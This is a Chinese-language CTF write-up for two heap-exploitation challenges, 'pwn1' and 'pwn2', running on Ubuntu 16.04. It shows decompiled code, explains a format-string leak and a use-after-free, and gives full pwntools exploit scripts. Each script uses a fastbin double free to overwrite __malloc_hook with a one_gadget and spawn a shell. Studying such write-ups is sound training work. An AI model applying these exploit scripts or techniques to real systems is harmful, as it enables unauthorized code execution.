pwn1
Description:
Ubuntu 16.04
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
main 函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { FILE *v3; // rsi signed int v4; // eax __int64 v5; // [rsp+0h] [rbp-18h] unsigned __int64 v6; // [rsp+8h] [rbp-10h] v6 = __readfsqword(0x28u); init(); puts("What's your name?"); read_str(&v5, 5); write(1, "Hello, ", 7uLL); _printf_chk(1LL, &v5); v3 = stdout; IO_putc(10, stdout); while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v4 = read_int(); if ( v4 != 2 ) break; drop(10LL, (__int64)v3); } if ( v4 > 2 ) break; if ( v4 == 1 ) add(10LL, (__int64)v3); } if ( v4 == 3 ) look(); if ( v4 == 4 ) { puts("bye!"); exit(0); } } }
_printf_chk(1LL, &v5); 是一处格式化字符串漏洞,这里可以用 %a%a 来进行栈泄露
add 函数如下:
int __fastcall add(__int64 a1, __int64 a2) { signed int v2; // eax signed int v3; // ebp _QWORD *v4; // rax signed int v5; // ebx void *v7; // r12 puts("How long is your secret?"); v2 = read_int(); if ( v2 > 0x88 ) return puts("Your secret is too long!"); v3 = v2; v4 = &unk_202068; v5 = 1; if ( chunk[0] ) { while ( *v4 ) { ++v5; ++v4; if ( v5 == 23 ) { puts("You have too many secret!"); exit(0); } } } else { v5 = 0; } chunk[v5] = (__int64)malloc(0x10uLL); v7 = malloc(v3); if ( !v7 ) wrong_exit(); puts("So,tell me your secret:"); read(0, v7, (unsigned int)v3); *(_QWORD *)chunk[v5] = v3; *(_QWORD *)(chunk[v5] + 8) = v7; return puts("[+]success !"); }
drop 函数如下:
int __fastcall drop(__int64 a1, __int64 a2) { int v2; // eax int v3; // ebx __int64 v4; // rax puts("Which secret do you want to drop off?"); v2 = read_int(); v3 = v2; v4 = chunk[v2]; if ( !v4 ) return puts("[!]Out of range"); free(*(void **)(v4 + 8)); free((void *)chunk[v3]); return puts("[+]Drop success!"); }
look 函数没有用,就一个 exit(0);
这里依靠格式化字符串泄露出 libc 之后,直接 fastbin double free 就可以提权了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('39.100.119.37', 50380) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) def add(add_size, add_data): p.sendlineafter('choice:', '1') p.sendlineafter('secret?\n', str(add_size)) p.sendafter('secret:\n', add_data) def delete(delete_idx): p.sendlineafter('choice:', '2') p.sendlineafter('off?\n', str(delete_idx)) libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.sendlineafter("What's your name?", '%a%a') p.recvuntil('Hello, 0x0.0') libcbase = int(p.recv(11) + '0',16) - libc.sym['_IO_2_1_stdout_'] addr___malloc_hook = libcbase + libc.sym['__malloc_hook'] addr_one_gadget = libcbase + libc_one_gadget[3] add(0x60, 'a') add(0x60, 'a') delete(0) delete(1) add(0x10, 'a') delete(0) add(0x60, p64(addr___malloc_hook - 0x23)) add(0x60, p64(addr___malloc_hook - 0x23)) add(0x60, p64(addr___malloc_hook - 0x23)) pd = 'a' * 0x13 pd += p64(addr_one_gadget) add(0x60, pd) p.sendlineafter('choice:', '1') p.sendlineafter('secret?\n', '96') # gdb.attach(p) p.interactive()
Flag:
动态靶机
pwn2
Description:
Ubuntu 16.04
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { main_init(); chall_main(); return 0LL; }
chall_main 是我修改过名字后的函数,后面也是一样
chall_main 函数如下:
void chall_main() { while ( 1 ) { menu(); switch ( read_atol() ) { case 1u: add(); break; case 2u: delete(); break; case 3u: edit(); break; case 4u: exit(-1); return; case 5u: show(); break; default: continue; } } }
add 函数如下:
__int64 add() { __int64 result; // rax signed int v1; // [rsp+8h] [rbp-18h] signed int v2; // [rsp+Ch] [rbp-14h] _QWORD *v3; // [rsp+10h] [rbp-10h] void *buf; // [rsp+18h] [rbp-8h] printf("index>> "); v2 = read_atol(); if ( v2 < 0 && v2 > 19 ) exit(-1); if ( ptr[v2] ) exit(-1); printf("size>> "); v1 = read_atol(); if ( v1 > 0x500 ) exit(-1); v3 = malloc(0x10uLL); if ( !v3 ) exit(-1); buf = malloc(v1); if ( !buf ) exit(-1); v3[1] = buf; *v3 = v1; printf("name>> "); read(0, buf, v1); result = v2; ptr[v2] = v3; return result; }
delete 函数如下:
__int64 delete() { int v1; // [rsp+Ch] [rbp-4h] printf("index>> "); v1 = read_atol(); if ( !ptr[v1] ) exit(-1); free(*(ptr[v1] + 1)); free(ptr[v1]); return 0LL; }
edit 函数如下:
ssize_t edit() { int v1; // [rsp+Ch] [rbp-4h] printf("index>> "); v1 = read_atol(); if ( !ptr[v1] || !*ptr[v1] || *ptr[v1] > 1280 ) exit(-1); printf("name>> "); return read(0, *(ptr[v1] + 1), *ptr[v1]); }
show 函数如下:
int show() { int result; // eax int v1; // [rsp+Ch] [rbp-4h] printf("index>> "); v1 = read_atol(); if ( ptr[v1] ) result = puts(*(ptr[v1] + 1)); else result = puts("idx error"); return result; }
利用思路很无脑,堆入门题,有 UAF,还能靠 unsorted bin 泄露 libc
直接泄露然后 fastbin double free 就可以提权了
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('', ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) def add(add_idx, add_size, add_name): p.sendlineafter('Choice\n', '1') p.sendlineafter('index>> ', str(add_idx)) p.sendlineafter('size>> ', str(add_size)) p.sendafter('name>> ', add_name) def delete(delete_idx): p.sendlineafter('Choice\n', '2') p.sendlineafter('index>> ', str(delete_idx)) def edit(edit_idx, edit_name): p.sendlineafter('Choice\n', '3') p.sendlineafter('index>> ', str(edit_idx)) p.sendlineafter('name>> ', edit_name) def show(show_idx): p.sendlineafter('Choice\n', '5') p.sendlineafter('index>> ', str(show_idx)) addr_ptr = 0x6020C0 libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] add(0, 0x80, 'a') add(1, 0x10, 'a') add(2, 0x60, 'a') add(3, 0x60, 'a') delete(0) show(0) addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68 libcbase = addr___malloc_hook - libc.sym['__malloc_hook'] addr___libc_realloc = libcbase + libc.sym['__libc_realloc'] addr_one_gadget = libcbase + libc_one_gadget[1] delete(2) delete(3) add(4, 0x10, 'a') delete(2) add(5, 0x60, p64(addr___malloc_hook - 0x23)) add(6, 0x60, 'a') add(7, 0x60, 'a') pd = 'a' * 0xb pd += p64(addr_one_gadget) pd += p64(addr___libc_realloc + 12) add(8, 0x60, pd) success('addr___malloc_hook = ' + hex(addr___malloc_hook)) # gdb.attach(p, "b malloc\nc") p.sendlineafter('Choice\n', '1') p.sendlineafter('index>> ', '9') p.sendlineafter('size>> ', '60') p.interactive()
Flag:
动态靶机